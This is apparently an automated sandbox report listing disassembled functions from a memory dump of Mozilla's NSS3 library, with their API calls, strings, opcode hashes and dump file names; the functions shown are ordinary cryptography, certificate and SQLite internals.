Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: 2ce182550d495a51fba772f854cd8ccfee4a79aff81d42e20b1d8ad2ed452223
Instruction ID: d7646a80614b3b841b61b1a64966af2f53e046197b043ab3aaf61bd807ffffa9
Opcode Fuzzy Hash: 2ce182550d495a51fba772f854cd8ccfee4a79aff81d42e20b1d8ad2ed452223
Instruction Fuzzy Hash: 1F81C7716047109FD714DF25C880F6A7BF1BF85309F14892DE95A87B61E731E846CB92

Function 6C44CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C44B999), ref: 6C44CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C44B999), ref: 6C44D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C44B999), ref: 6C44D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C44B999), ref: 6C59972B

Strings

database corruption, xrefs: 6C44CFE7, 6C44D013, 6C44D028, 6C44D039, 6C44D03E, 6C599786
%s at line %d of [%.10s], xrefs: 6C44CFEC, 6C44D018, 6C44D029, 6C44D03F, 6C59978B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C44CFDD, 6C44D00E, 6C44D022, 6C44D033, 6C599780

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: dcf7c8cbfb8344aecdfed241ae1ee536a5fdd7f0adc11ddd2293f8f6943f7d60
Instruction ID: f965edda00bc1f46020bed600da00733ada9e091cc89cbc3064f26dbd501d663
Opcode Fuzzy Hash: dcf7c8cbfb8344aecdfed241ae1ee536a5fdd7f0adc11ddd2293f8f6943f7d60
Instruction Fuzzy Hash: 6E61F671A042508BD310CF29CC40FA6BBF5EF95319F2885ADE4499BB82D376D947CBA1

Function 6C54FFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C555B40: PR_GetIdentitiesLayer.NSS3 ref: 6C555B56

PK11_FreeSymKey.NSS3(00000000), ref: 6C550113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C550130
PORT_Alloc_Util.NSS3(00000040), ref: 6C55015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6C5501AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6C550202
free.MOZGLUE(?), ref: 6C550224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C550253

Strings

exporter, xrefs: 6C5500F7

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: 6db0685e1f371cf81ba03022de8f95599755176e6375664264e109aa121ca68c
Instruction ID: 33c6b84be57dc4d61c18d6a0a07ecba661bcd8be045083811527e68b793f7c52
Opcode Fuzzy Hash: 6db0685e1f371cf81ba03022de8f95599755176e6375664264e109aa121ca68c
Instruction Fuzzy Hash: 83610271D007899BEF118FA5CC00BEE77B6BFC430CF94452AE91A56A61EB31A964C742

Function 6C524DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C52536F,00000022,?,?,00000000,?), ref: 6C524E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C524F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C524F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C524FAE
free.MOZGLUE(?), ref: 6C524FC8

Strings

oSRl", xrefs: 6C524DFB, 6C524EF4, 6C524EC5
%s=%s, xrefs: 6C524F89
%s=%c%s%c, xrefs: 6C524FA9

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSRl"
API String ID: 2709355791-1326328714
Opcode ID: c0c4694665ccbab33c4202a232b94bee05cf2ef7b2139d87a8760bc3482ebb31
Instruction ID: 1f7012864ca73ba98e7eac583f1e063b009ea7dda2ff57acdbce352bc19e220c
Opcode Fuzzy Hash: c0c4694665ccbab33c4202a232b94bee05cf2ef7b2139d87a8760bc3482ebb31
Instruction Fuzzy Hash: C1512931A051559BFB11CA69CC907FF7BF5AF86308F288126E894A7FC1D32D98458792

Function 6C54EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6C56A4A1,?,00000000,?,00000001), ref: 6C54EF6D

Part of subcall function 6C56C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C56C2BF

htonl.WSOCK32(00000000,?,6C56A4A1,?,00000000,?,00000001), ref: 6C54EFE4
htonl.WSOCK32(?,00000000,?,6C56A4A1,?,00000000,?,00000001), ref: 6C54EFF1
memcpy.VCRUNTIME140(?,?,6C56A4A1,?,00000000,?,6C56A4A1,?,00000000,?,00000001), ref: 6C54F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6C56A4A1,?,00000000,?,00000001), ref: 6C54F027

Strings

dtls13, xrefs: 6C54EF33

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 816a57968ba57196966e07cdc1b5ed66fe533c9a7a88201ac71d5b79e8e6864d
Instruction ID: 8e834a4f998a22dc0981d39854ad07556ef98e8e157bb17025edcf367f2c0e60
Opcode Fuzzy Hash: 816a57968ba57196966e07cdc1b5ed66fe533c9a7a88201ac71d5b79e8e6864d
Instruction Fuzzy Hash: 5931EE71A01211ABCB10DF68CC80B8AB7E4AF89348F258029EC189BB51E771FD15CBE5

Function 6C4CAF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C4CAFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C5E9500,6C4C3F91), ref: 6C4CAFD2

Part of subcall function 6C51B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C5F18D0,?), ref: 6C51B095

DER_GetInteger_Util.NSS3(?), ref: 6C4CB007

Part of subcall function 6C516A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C4C1666,?,6C4CB00C,?), ref: 6C516AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C4CB02F
PR_CallOnce.NSS3(6C622AA4,6C5212D0), ref: 6C4CB046
PL_FreeArenaPool.NSS3 ref: 6C4CB058
PL_FinishArenaPool.NSS3 ref: 6C4CB060

Strings

security, xrefs: 6C4CAFB8

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 32ebcd966801b180f73359906195d2af47aa83fb8866e66bd42c79ad1b07c034
Instruction ID: 45931f0342fc391137e58758e2b99d635fc73570fbbd6f4e0c0695903b6ae112
Opcode Fuzzy Hash: 32ebcd966801b180f73359906195d2af47aa83fb8866e66bd42c79ad1b07c034
Instruction Fuzzy Hash: BE313474504300DBDB10CF259C45FAA77B4AF8636DF100619E8B4ABBE1E7369509CB97

Function 6C4C3E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6C4C40D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C4C3F7F,?,00000055,?,?,6C4C1666,?,?), ref: 6C4C40D9
Part of subcall function 6C4C40D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C4C1666,?,?), ref: 6C4C40FC
Part of subcall function 6C4C40D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C4C1666,?,?), ref: 6C4C4138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4C3EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C4C3ED6

Part of subcall function 6C51B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C5F18D0,?), ref: 6C51B095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C4C3EEE

Part of subcall function 6C51FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C518D2D,?,00000000,?), ref: 6C51FB85
Part of subcall function 6C51FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C51FBB1

PR_CallOnce.NSS3(6C622AA4,6C5212D0), ref: 6C4C3F02
PL_FreeArenaPool.NSS3 ref: 6C4C3F14
PL_FinishArenaPool.NSS3 ref: 6C4C3F1C

Part of subcall function 6C5264F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C52127C,00000000,00000000,00000000), ref: 6C52650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C4C3F27

Strings

security, xrefs: 6C4C3EBC

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 0e0ce56aa27015c5b18fd1c3d7482e1ee0a00429f84d604dbe635047c6af4fa0
Instruction ID: 2040b9a0c05ac66863430cba89c4be5c07a629921ccae68ef518b9814b83c5eb
Opcode Fuzzy Hash: 0e0ce56aa27015c5b18fd1c3d7482e1ee0a00429f84d604dbe635047c6af4fa0
Instruction Fuzzy Hash: C8212BB5A04300ABD304CB15AC41FAB73B8FB8835CF04093DF949A7B81E735D9188B96

Function 6C50CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C50CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C50CE16
PR_SetError.NSS3(00000000,00000000), ref: 6C50D079

Part of subcall function 6C56C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C56C2BF

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 60851d6f88ee097ea0381e5a6282cf75d40449e948e6ea765bd3884dc91bbd76
Instruction ID: 63f2caf43f5b7f1af1d7aff4142865c13dc520602c19a04ad3c795482cf121a8
Opcode Fuzzy Hash: 60851d6f88ee097ea0381e5a6282cf75d40449e948e6ea765bd3884dc91bbd76
Instruction Fuzzy Hash: 92C178B1A002199BDB20DF25CC80BDAB7B4BB49318F1441A8E94CE7741E775EE99CF91

Function 6C4FDC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6C5097C1,?,00000000,00000000,?,?,?,00000000,?,6C4E7F4A,00000000), ref: 6C4FDC68

Part of subcall function 6C520BE0: malloc.MOZGLUE(6C518D2D,?,00000000,?), ref: 6C520BF8
Part of subcall function 6C520BE0: TlsGetValue.KERNEL32(6C518D2D,?,00000000,?), ref: 6C520C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6C4E7F4A,00000000,?,00000000,00000000), ref: 6C4FDD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C4E7F4A,00000000,?,00000000,00000000), ref: 6C4FDE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6C4E7F4A,00000000,?,00000000,00000000), ref: 6C4FDE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6C4E7F4A,00000000,?,00000000,00000000), ref: 6C4FDE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C4E7F4A,00000000,?,00000000,00000000), ref: 6C4FDF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6C4E7F4A,00000000,?,00000000,00000000), ref: 6C4FDF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6C4E7F4A,00000000,?,00000000,00000000), ref: 6C4FDF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6C4E7F4A,00000000,?,00000000,00000000), ref: 6C4FDFAA

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: 45ac25db474bbe28db4588c3ddf3fb2e302db624e89aa3ce28c1b0a4b9d26dbd
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 8181D771A06A018BFB14CE19C890F5976D2DBE034AF24843AD939CAFE5D774C887C612

Function 6C4D3C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6C4D3C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6C4D3C94

Part of subcall function 6C4C95B0: TlsGetValue.KERNEL32(00000000,?,6C4E00D2,00000000), ref: 6C4C95D2
Part of subcall function 6C4C95B0: EnterCriticalSection.KERNEL32(?,?,?,6C4E00D2,00000000), ref: 6C4C95E7
Part of subcall function 6C4C95B0: PR_Unlock.NSS3(?,?,?,?,6C4E00D2,00000000), ref: 6C4C9605

PORT_NewArena_Util.NSS3(00000800), ref: 6C4D3CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6C4D3CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6C4D3CE1

Part of subcall function 6C4D3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4EAE42), ref: 6C4D30AA
Part of subcall function 6C4D3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4D30C7
Part of subcall function 6C4D3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C4D30E5
Part of subcall function 6C4D3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C4D3116
Part of subcall function 6C4D3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C4D312B
Part of subcall function 6C4D3090: PK11_DestroyObject.NSS3(?,?), ref: 6C4D3154
Part of subcall function 6C4D3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4D317E

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: 480e6ccf9bfa68c427a730e58a50516e0dc2e02ad14a7c1589d6e1518d0f8ff1
Instruction ID: 85fcc618680ffe27e72dcc3bb215de3dbd57389d0f262976aa36262ac965abb6
Opcode Fuzzy Hash: 480e6ccf9bfa68c427a730e58a50516e0dc2e02ad14a7c1589d6e1518d0f8ff1
Instruction Fuzzy Hash: B861D6B1A00201ABEB10AE65DC55FA776B9AF5474CF094028FE09DAB92F721EC14C7A1

Function 6C513D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6C513440: PK11_GetAllTokens.NSS3 ref: 6C513481
Part of subcall function 6C513440: PR_SetError.NSS3(00000000,00000000), ref: 6C5134A3
Part of subcall function 6C513440: TlsGetValue.KERNEL32 ref: 6C51352E
Part of subcall function 6C513440: EnterCriticalSection.KERNEL32(?), ref: 6C513542
Part of subcall function 6C513440: PR_Unlock.NSS3(?), ref: 6C51355B

TlsGetValue.KERNEL32 ref: 6C513D8B
EnterCriticalSection.KERNEL32(?), ref: 6C513D9F
PR_Unlock.NSS3(?), ref: 6C513DCA
PR_SetError.NSS3(00000000,00000000), ref: 6C513DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C513E4F

Part of subcall function 6C56C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C56C2BF

TlsGetValue.KERNEL32 ref: 6C513E97
EnterCriticalSection.KERNEL32(?), ref: 6C513EAB
PR_Unlock.NSS3(?), ref: 6C513ED6
PR_SetError.NSS3(00000000,00000000), ref: 6C513EEE

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: 079e78208b3509fcc91942f12e59cdc988e9919b2109a1293e563b5e45885195
Instruction ID: b4123651fadcfe2fccf5d82fa934143eb00de8607d08e58ccb9d4fb5031ceb22
Opcode Fuzzy Hash: 079e78208b3509fcc91942f12e59cdc988e9919b2109a1293e563b5e45885195
Instruction Fuzzy Hash: A3512575A04300DBFB01AF6ADC89A6A77B4AF45319F050628DE0987F22EB31E944CBD1

Function 6C4C2C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(983E964F), ref: 6C4C2C5D

Part of subcall function 6C520D30: calloc.MOZGLUE ref: 6C520D50
Part of subcall function 6C520D30: TlsGetValue.KERNEL32 ref: 6C520D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C4C2C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C4C2CE0

Part of subcall function 6C4C2E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C4C2CDA,?,00000000), ref: 6C4C2E1E
Part of subcall function 6C4C2E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C4C2E33
Part of subcall function 6C4C2E00: TlsGetValue.KERNEL32 ref: 6C4C2E4E
Part of subcall function 6C4C2E00: EnterCriticalSection.KERNEL32(?), ref: 6C4C2E5E
Part of subcall function 6C4C2E00: PL_HashTableLookup.NSS3(?), ref: 6C4C2E71
Part of subcall function 6C4C2E00: PL_HashTableRemove.NSS3(?), ref: 6C4C2E84
Part of subcall function 6C4C2E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C4C2E96
Part of subcall function 6C4C2E00: PR_Unlock.NSS3 ref: 6C4C2EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C4C2D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C4C2D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C4C2D3F
free.MOZGLUE(00000000), ref: 6C4C2D73
CERT_DestroyCertificate.NSS3(?), ref: 6C4C2DB8
free.MOZGLUE ref: 6C4C2DC8

Part of subcall function 6C4C3E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4C3EC2
Part of subcall function 6C4C3E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C4C3ED6
Part of subcall function 6C4C3E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C4C3EEE
Part of subcall function 6C4C3E60: PR_CallOnce.NSS3(6C622AA4,6C5212D0), ref: 6C4C3F02
Part of subcall function 6C4C3E60: PL_FreeArenaPool.NSS3 ref: 6C4C3F14
Part of subcall function 6C4C3E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C4C3F27

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
